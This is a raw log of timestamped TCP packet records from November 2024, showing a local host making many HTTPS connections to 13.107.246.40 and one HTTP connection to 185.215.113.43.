Nov 19, 2024 22:07:03.876574039 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.876574039 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.878251076 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.878647089 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.878730059 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.878890991 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.878926039 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.878953934 CET	49820	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.878962994 CET	443	49820	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.879362106 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.879443884 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.879537106 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.879681110 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.879719973 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.881309986 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.881409883 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.881491899 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.881612062 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.881652117 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.883260012 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.883410931 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.883460999 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.883480072 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.883548975 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.883557081 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.883557081 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.883598089 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.883598089 CET	49818	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.883614063 CET	443	49818	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.885735989 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.885817051 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.885899067 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.886014938 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.886045933 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.898274899 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.898484945 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.898547888 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.898714066 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.898714066 CET	49821	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.898736000 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.898761034 CET	443	49821	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.900799036 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.900827885 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.900919914 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.901021957 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.901045084 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.959585905 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.959758997 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.959858894 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.959995985 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.960012913 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.960051060 CET	49822	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.960057974 CET	443	49822	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.962213993 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.962296963 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:03.962368965 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.962486029 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:03.962507010 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.161565065 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.162097931 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.162175894 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.162554979 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.162574053 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.165509939 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.165879011 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.165939093 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.166443110 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.166457891 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.178277016 CET	49819	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.178325891 CET	443	49819	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.180747032 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.181142092 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.181202888 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.181668043 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.181683064 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.187429905 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.187787056 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.187808037 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.188169956 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.188180923 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.247417927 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.247914076 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.248035908 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.248212099 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.248239994 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.343954086 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.344160080 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.344230890 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.344285965 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.344326973 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.344355106 CET	49823	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.344369888 CET	443	49823	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.347806931 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.347872972 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.347970963 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.348229885 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.348247051 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.351435900 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.351578951 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.351633072 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.351671934 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.351681948 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.351707935 CET	49825	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.351712942 CET	443	49825	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.354134083 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.354213953 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.354275942 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.354464054 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.354500055 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.369924068 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.370109081 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.370177031 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.370255947 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.370302916 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.370332956 CET	49826	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.370348930 CET	443	49826	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.372539997 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.372566938 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.372637987 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.372783899 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.372808933 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.392257929 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.392431021 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.392554998 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.392596006 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.392596006 CET	49824	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.392616034 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.392636061 CET	443	49824	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.394881010 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.394965887 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.395102978 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.395219088 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.395241976 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.439908981 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.440093994 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.440160990 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.440226078 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.440244913 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.440288067 CET	49827	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.440299988 CET	443	49827	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.442928076 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.442962885 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.443047047 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.443181992 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.443201065 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.623929977 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.625224113 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.625283957 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.625790119 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.625808954 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.638343096 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.638688087 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.638753891 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.639233112 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.639245987 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.656706095 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.657480001 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.657490969 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.658023119 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.658029079 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.687069893 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.687417984 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.687439919 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.687930107 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.687941074 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.723478079 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.723788023 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.723800898 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.724322081 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.724327087 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.808562040 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.808638096 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.808772087 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.808873892 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.808923960 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.808953047 CET	49828	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.808968067 CET	443	49828	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.811117887 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.811240911 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.812624931 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.812789917 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.812823057 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.819421053 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.819525003 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.819598913 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.819675922 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.819720984 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.819772005 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.819819927 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.819852114 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.819852114 CET	49829	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.819870949 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.819890022 CET	443	49829	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.822351933 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.822381973 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.822438955 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.822577953 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.822587013 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.839131117 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.839344025 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.839399099 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.839488029 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.839488029 CET	49830	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.839504004 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.839524031 CET	443	49830	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.841833115 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.841859102 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.841933966 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.842096090 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.842119932 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.869558096 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.869621038 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.869695902 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.869715929 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.869754076 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.869807959 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.871393919 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.871409893 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.871454954 CET	49831	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.871465921 CET	443	49831	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.873924971 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.873951912 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.873996973 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.874269962 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.874284029 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.904378891 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.904702902 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.904748917 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.906179905 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.906189919 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.906200886 CET	49832	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.906205893 CET	443	49832	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.918570042 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.918653965 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.918740034 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.918962002 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:04.918999910 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:04.923469067 CET	49838	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:05.092034101 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.092542887 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.092590094 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.093105078 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.093118906 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.109992027 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.110635996 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.110646009 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.111284018 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.111288071 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.127412081 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.130305052 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.130328894 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.130474091 CET	80	49838	185.215.113.43	192.168.2.4
Nov 19, 2024 22:07:05.130594969 CET	49838	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:05.130844116 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.130865097 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.130877972 CET	49838	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:05.154103994 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.154433012 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.154459000 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.154970884 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.154977083 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.208406925 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.208852053 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.208936930 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.209104061 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.209117889 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.278539896 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.278609991 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.278666973 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.278822899 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.278822899 CET	49833	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.278863907 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.278893948 CET	443	49833	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.281687021 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.281770945 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.281857014 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.282020092 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.282052994 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.291728973 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.291919947 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.291970015 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.292022943 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.292022943 CET	49834	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.292037010 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.292043924 CET	443	49834	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.294151068 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.294198036 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.294260979 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.294420004 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.294445992 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.307591915 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.307744980 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.307821035 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.307820082 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.307885885 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.307925940 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.307925940 CET	49835	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.307967901 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.307976961 CET	443	49835	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.310189962 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.310208082 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.310422897 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.310422897 CET	49841	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.310444117 CET	443	49841	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.333206892 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.333365917 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.333409071 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.333458900 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.333476067 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.333491087 CET	49836	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.333498001 CET	443	49836	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.335917950 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.335983038 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.336062908 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.336235046 CET	49842	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.336251974 CET	443	49842	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.337598085 CET	80	49838	185.215.113.43	192.168.2.4
Nov 19, 2024 22:07:05.338083029 CET	80	49838	185.215.113.43	192.168.2.4
Nov 19, 2024 22:07:05.338157892 CET	49838	80	192.168.2.4	185.215.113.43
Nov 19, 2024 22:07:05.394100904 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.394766092 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.394871950 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.394871950 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.394953012 CET	49837	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.394989014 CET	443	49837	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.397203922 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.397216082 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.397290945 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.397444010 CET	49843	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.397455931 CET	443	49843	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.559870958 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.560367107 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.560441971 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.560914993 CET	49839	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.560929060 CET	443	49839	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.578648090 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.578974962 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.579051971 CET	443	49840	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:05.579341888 CET	49840	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:05.579358101 CET	443	49840	13.107.246.40	192.168.2.4
